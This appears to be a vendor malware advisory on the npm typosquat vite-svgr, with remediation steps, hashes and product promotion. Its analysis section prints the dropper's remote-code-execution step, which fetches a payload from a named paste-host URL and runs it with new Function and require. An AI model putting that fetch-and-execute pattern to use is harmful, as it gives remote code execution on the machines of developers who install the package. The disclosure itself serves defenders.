Which versions of vite-svgr are malicious?

The following npm versions of vite-svgr are flagged malicious: 1.1.2, 1.1.3. Treat any of these as compromised.

How do I remediate vite-svgr if I installed it?

vite-svgr is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-svgr, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed vite-svgr — how do I know if it already compromised me?

If vite-svgr was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is vite-svgr part of a known attack campaign?

Yes — vite-svgr is associated with the IN-MAL-2026-006215, IN-MAL-2026-006214 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find vite-svgr across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vite-svgr (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vite-svgr across your stack and pipelines.

Malicious package

vite-svgrnpm

vite-svgr is a confirmed malicious npm package (MAL-2026-5708) that typosquats a legitimate package to trick installs (malicious versions 1.1.2, 1.1.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in vite-svgr (npm)

MAL-2026-5708

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall vite-svgr

What this malware does

Package name vite-svgr impersonates the popular vite-plugin-svgr, but the shipped code is a fork of tsconfig-paths (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } }) and then runs the response body's Cookie field via new Function('require', s)(require) — arbitrary JavaScript with full Node require access executed under the installer's user. The code is reachable from the package's main via the exported configJson(...), which spawns node lib/mapProps.js detached, so any consumer that imports this package and calls configJson triggers fetch-and-execute against an anonymous, mutable paste host. The combination of name impersonation, fork of an unrelated library, and remote-payload-execution is the canonical supply-chain attack shape.

Malicious versions

2 flagged

1.1.21.1.3

Indicators of compromise (SHA-256)

a22a309bc488d107fc2734705e05bb4032432bb9b54391e8ee2325d980b2cdf5

d238c0e37d7a415f10030826af53fbff9c537bfd527553c8005fd51f6499f0c4

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vite-svgr (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vite-svgr across your stack and pipelines.
If you installed it — respond
vite-svgr is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-svgr, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If vite-svgr was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks vite-svgr before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. vite-svgr on npm has been identified as a malicious package (versions 1.1.2, 1.1.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006215IN-MAL-2026-006214

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks vite-svgr-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database